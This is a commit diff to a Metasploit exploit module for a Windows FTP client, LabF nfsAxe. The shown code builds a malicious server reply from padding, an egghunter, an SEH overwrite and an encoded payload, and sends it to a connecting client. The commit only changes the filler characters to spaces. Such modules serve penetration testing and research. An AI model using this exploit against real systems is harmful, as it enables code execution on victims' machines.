Update labf_nfsaxe.rb

Author: DanielRTeixeira

modules/exploits/windows/ftp/labf_nfsaxe.rb

@@ -69,11 +69,11 @@ def on_client_connect(client)
     hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
 
     sploit = "220 \""
-    sploit << "A"*(9833 - egg.length)
+    sploit << "\x20"*(9833 - egg.length)
     sploit << egg
     sploit << generate_seh_record(target.ret)
     sploit << hunter
-    sploit << "C"*(576 - hunter.length)
+    sploit << "\x20"*(576 - hunter.length)
     sploit << "\" is current directory\r\n"
 
     client.put(sploit)